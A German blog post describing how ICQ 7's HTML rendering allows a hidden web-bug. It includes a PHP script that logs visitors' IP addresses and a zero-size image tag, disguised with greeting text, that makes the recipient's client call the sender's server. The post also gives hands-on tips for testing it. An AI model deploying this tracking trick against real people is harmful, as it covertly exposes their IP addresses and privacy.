Neben der Integration sämtlicher sozialer Netzwerke, einer neuen Foto-Sharing Funktion und vielen weiteren Features für noch mehr Interaktion ist ICQ 7 nun auch in der Lage HTML-Tags zu interpretieren (wie bei ICQ 6 bereits teilweise). So kann beispielsweise mit dem Code
<font size=7 color="#FF0000">Hallo</font> ein ICQ 7 Nutzer in großer roter Schrift begrüßt werden. Es ist auf diese Weise sogar möglich ganze Webseiten zu übertragen und korrekt anzeigen zu lassen.
Ausgehend davon und in Anlehnung an den bekannten
Web-Bug ist es möglich an die IP-Adresse und weitere Benutzerinformationen eines ICQ 7 Nutzers zu kommen. Schon die folgenden wenigen Zeilen PHP-Code sind für die IP-Adresse ausreichend:
<?php
$file = fopen("ip.txt", "a+");
fwrite($file, date("d.m.Y H:i:s - ").$_SERVER['REMOTE_ADDR']."\r\n");
fclose($file);
?> |
Alles was man benötigt ist ein PHP-fähiger Webserver bzw. Webspace. Obige Code-Zeilen speichert man dort z.B. in eine Datei mit dem Namen
ip.php und vergibt entsprechende Zugriffsrechte. An den ICQ 7 Nutzer schickt man nun die Zeile
<img src="http://www.meinedomain.de/ip.php" width=0 height=0> und erhält darauffolgend einen Eintrag in der Datei
ip.txt mit Datum/Zeit und der IP-Adresse. Der Grund dafür ist, dass ICQ 7 versucht über die angegebene URL (hinter src=) ein Bild zu laden und dabei das Skript aufruft. Da die Attribute
width und
height auf 0 gesetzt sind wird beim Empfänger kein Bild angezeigt (bzw. nur ein
grauer Pixel) und er würde in dem Fall eine leere Nachricht erhalten. Setzt man also noch einen normalen Text dazu bleibt die ganze Aktion sehr wahrscheinlich unbemerkt:
<img src="http://www.meinedomain.de/ip.php" width=0 height=0>Hallo</img>.
Es lassen sich natürlich noch mehr Informationen über den Benutzer ermitteln. Die folgenden Screenshots zeigen das eben genannte Vorgehen und einige weitere Möglichkeiten:
Gut zu erkennen ist
hier dass ICQ 7 den Internet Explorer für das Rendering von Web-Elementen verwendet. So lassen sich bekannte Schwachstellen im Internet Explorer leicht auf ICQ 7 übertragen, was dank der automatischen Umwandlung deutlich vereinfacht wird. ICQ ist also auch nur so sicher wie der Internet Explorer selbst. Das wurde bereits bei den vergangenen Sicherheitslücken ausgenutzt. Immerhin werden bekannte Bugs und alle Arten von Skriptsprachen gefiltert.
Sicherheitslücke? Ansichtssache. Die IP-Adresse ist heutzutage nicht mehr so schützenswert wie sie es früher einmal war. Trotzdem könnte es dem einen oder anderen ein Stück Privatsphäre nehmen. Das Problem dabei ist viel mehr, dass es der Nutzer nicht verhindern kann oder auch nur bemerkt. Eine Einstellung in ICQ 7 zur Deaktivierung der automatischen Umwandlung von HTML sucht man vergeblich.
Einige Anmerkungen für alle die es selbst testen wollen:
Es ist vermutlich nur ICQ 7 betroffen und die Nachricht mit dem enthaltenen Code kann von einem Standard-Client (ICQ 6, ICQ 7 oder ICQ2Go) nicht verschickt werden bzw. hat dann nicht den beschriebenen Effekt. Außerdem werden Nachrichten mit HTML-Tags von Kontakten außerhalb der Kontaktliste standardmäßig geblockt. Und da die empfangenen Grafiken von ICQ gecachet werden sind bei einer mehrfachen Versendung an den gleichen Kontakt innerhalb kurzer Zeit unterschiedliche URLs nötig.
Ein Tool oder Web-Service hierfür wäre sicher keine große Herausforderung
Den PHP-Code aus dem Beispiel gibt es
hier.
